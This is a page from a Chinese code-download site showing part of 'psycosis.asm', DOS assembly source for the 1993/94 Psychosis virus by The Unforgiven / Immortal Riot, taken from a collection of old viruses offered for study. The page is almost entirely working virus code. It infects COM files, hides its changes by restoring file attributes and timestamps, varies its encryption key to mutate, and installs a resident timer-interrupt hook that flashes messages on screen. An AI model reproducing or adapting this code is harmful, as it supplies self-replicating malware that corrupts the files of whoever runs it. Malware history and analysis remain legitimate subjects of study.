⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 psycosis.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
        jc      find_next_file                  ; If error, find another

        xchg    bx,ax                           ; bx is now handle
        mov     ah,3Fh                          ; Save
        mov     cx, part1_size                  ;  first part
        mov     dx, offset buffer               ;  to buffer
        add     dx, offset_off                  ;  to be restored
        push    dx
        int     21h                             ;  later

        pop     si                              ; Check for virus ID bytes
                                                ;  in the buffer
        push    si
        lodsw                                   ; DS:[SI] -> AX
        cmp     ax, virus_marker                ; Compare it
        jnz     infect_it                       ; infect it if ID #1 not found

        lodsw                                   ; Check next two bytes
        cmp     ax, virus_marker2               ; Compare it
        jnz     infect_it                       ; infect if ID #2 not found
        pop     si
bomb_out:
        mov     ah, 3Eh                         ; else close the file
        int     21h                             ;  and go find another
        jmp     find_next_file                  ;  'cuz it's already infected

Signature db '\\ Merry Xmas and a happy new year // ' 
	  db 'Sweden - Snowing Again'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
        ; save fileattr
        pop     si
        add     si, offset DTA + DTA_fileattr - offset buffer
        mov     di, si
        add     di, offset origattr - offset DTA - DTA_fileattr
        movsb                                   ; DS:[SI] -> ES:[DI]
        movsw                                   ; Save origtime
        movsw                                   ; Save origdate
        movsw                                   ; Save filesize
                                                ; Only need LSW
                                                ; because COM files
                                                ; can only be up to
                                                ; 65535 bytes long
        cmp     word ptr [si - 2], part1_size
        jl      bomb_out                        ;  is less than 8 bytes.

do_again:
        mov     ah, 2Ch                         ; get time
        int     21h
        add     dl, dh                          ; 1/100 sec + 1 sec
        jz      do_again                        ; Don't want orig strain!

        mov     si, offset encrypt_val
        add     si, offset_off
        mov     byte ptr [si], dl               ; 255 mutations

        mov     ax, 4301h                       ; Set file attributes
        xor     cx, cx                          ;  to nothing
        mov     dx, si                          ; filename in DTA
        add     dx, offset DTA + DTA_filename - offset encrypt_val
        int     21h                             ; do it now, my child

        mov     ah, 3Eh                         ; Close file
        int     21h                             ; handle in BX

        mov     ax, 3D02h                       ; Open file read/write
        int     21h                             ; Filename offset in DX
        jc      bomb_out                        ; Damn! Probs

        mov     di, dx
        add     di, offset oldhandle - offset DTA - DTA_filename
                                                ; copy filehandle to
                                                ;  oldhandle
        stosw                                   ; AX -> ES:[DI]
        xchg    ax, bx                          ; file handle in BX now

        mov     ah, 40h                         ; Write DS:[DX]->file
        mov     cx, part1_size - 4              ; number of bytes
        mov     dx, 0100h                       ; where code starts
        int     21h                             ; (in memory)

        mov     ah, 40h
        mov     si, di                          ; mov si, offset filesize
        add     si, offset filesize - 2 - offset oldhandle
        add     word ptr [si], 0100h
        mov     cx, 2
        mov     dx, si
        int     21h                             ; write jmp offset

        mov     ax, [si]                        ; AX = filesize
        sub     ax, 0108h

        add     si, offset buffer3 - offset filesize
        push    si
        mov     word ptr [si], ax
        mov     ah, 40h
        mov     cx, 2
        mov     dx, si
        int     21h

        mov     ax, 4202h                       ; move file ptr
        xor     cx, cx                          ;  from EOF
        xor     dx, dx                          ;  offset cx:dx
        int     21h

        call    copy_rest_stuff

        pop     si
        add     si, offset oldhandle - offset buffer3
        mov     bx, word ptr [si]
        mov     ax, 5701h                       ; Restore
        add     si, offset origtime - offset oldhandle
        mov     cx, word ptr [si]               ;  old time and
        add     si, 2
        mov     dx, word ptr [si]               ;  date
        int     21h

        mov     ah, 3Eh                         ; Close file
        int     21h

        mov     ax, 4301h                       ; Restore file
        xor     ch, ch
        add     si, offset origattr - offset origtime - 2
        mov     cl, byte ptr [si]               ;  attributes
        mov     dx, si                          ; filename in DTA
        add     dx, offset DTA + DTA_filename - offset origattr
        int     21h                             ; do it now

        jmp     find_next_file2

GotoError:
        jmp     error

Psycho:

        push    es
        mov     byte ptr cs:[100h],0            ; Initialize fingerprint
        xor     bx, bx                          ; Zero BX for start
        mov     ax, cs
Init1:  inc     bx                              ; Increment search segment
        mov     es, bx                          ;  value
        cmp     ax, bx                          ; Not installed if we reach
        je      Not_Installed_Yet               ;  the current segment
        mov     si, 100h                        ; Search segment for
        mov     di, si                          ;  fingerprint in first
        mov     cx, 4                           ;  four bytes
        repe    cmpsb                           ; Compare
        jne     init1                           ;  If not equal, try another
        jmp     Quit_Init                       ;  else already installed

Not_Installed_Yet:
        pop     es
        mov     word ptr cs:[Counter], init_delay
        mov     word ptr cs:[D_Mess],    1

; Copy interrupt handler to beginning of code
        mov     si, offset _int_08_handler
        add     si, offset_off
        mov     di, Int_08_Start
        mov     cx, int_end - int_start
        rep     movsb                   ; DS:[SI]->ES:[DI]

        mov     ax, 3508h               ; Get int 8 handler
        int     21h                     ;  put in ES:BX

        mov     cs:[duh], bx            ; Save old handler
        mov     cs:[duh+2], es          ;  in cs:[104h]

        mov     ax, 2508h               ; Install new handler
        mov     dx, Int_08_Start        ;  from DS:DX
        int     21h                     ; Do it

        push    es
        mov     ax, ds:[2Ch]            ; Deallocate program
        mov     es, ax                  ;  environment block
        mov     ah, 49h
        int     21h
        pop     es

        mov     ax, 3100h               ; TSR
        mov     dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
        int     21h
        int     20h                     ; In case of error
Quit_Init:
        pop     es
Error:                                  ; On error, quit
Quit:
; if get drive, place it here (restore, and change to in the beginning).
        mov     ah, 3Bh                 ; Change directory
        mov     dx, offset root_dir     ;  to the root dir
        add     dx, offset_off
        int     21h

        mov     ah,3Bh                  ; Change directory
                                        ; Return to orig dir
        add     dx, offset orig_path - offset root_dir
        int     21h

; Copy buffer back to beginning of file
        mov     si, dx
        add     si, offset buffer2 - offset orig_path
        mov     di, 0100h
        mov     cx, part1_end - part1_start
        rep     movsb

        mov     di, 0100h
        jmp     di
int_start:
_int_08_handler proc far
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    ds
        push    es
        pushf
        dec     word ptr CS:[Counter]            ; Counter
        jnz     QuitNow
;ACTIVATION!!!
        mov     word ptr CS:[Counter], delay     ; Reset counter

        ; Set up DS & ES to equal CS
        push    cs
        pop     ds
        push    cs
        pop     es

        mov     si, offset Messages - offset int_start + int_08_start
        mov     cx, cs:D_Mess
        xor     ah, ah
LoopY_ThingY:
        lodsb                           ; DS:SI -> AL
        add     si, ax                  ; ES:BP -> Next message to display
        loop    LoopY_ThingY

        lodsb
        xchg    si, bp

        xor     cx, cx
        mov     cl, al                  ; Length of string
        mov     ax, 1300h               ;
        mov     bx, 0070h               ; Page 0, inverse video
        xor     dx, dx                  ; (0,0)
        int     10h                     ; Display ES:BP
        inc     word ptr cs:[D_Mess]
        cmp     word ptr cs:[D_Mess], num_messages
        jnz     Sigh
        mov     word ptr cs:[D_Mess], 1

Sigh:   mov     cx, 30h
Sigh2:  push    cx
        mov     cx, 0FFFFh
DelayX: loop    DelayX
        pop     cx
        loop    Sigh2
        xchg    si, bp
QuitNow:
        popf
        pop     es
        pop     ds
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        jmp     dword ptr CS:duh
 Messages db      0
          db      15, 'Another year passed by'
          db      21, 'Another tear the willows cry'
          db      22, 'to change the world we ever try'
          db      26, 'to make a difference before we die'
          db      38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
          db      40, '(c) 93/94 The Unforgiven / Immortal Riot'

_int_08_handler endp
int_end:
part2_end:

CODE    ends
        end     part1_start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -